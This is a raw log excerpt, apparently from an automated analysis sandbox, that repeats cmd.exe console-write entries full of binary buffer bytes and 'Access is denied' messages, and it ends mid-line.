Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................G.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................g.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................'.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................G.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................g.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................*.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................J.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................p.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................0.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................P.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................p.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................0.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................P.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................p.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................6.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................V.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................v.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................6.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................V.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................v.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...!.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................6.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...#.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................V.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...%.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................v.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...'.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...).
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...+.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................:.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................Z.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................z.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................:.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................Z.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................z.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................:.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................Z.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................z.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................?.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0................._.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................?.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0................._.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole W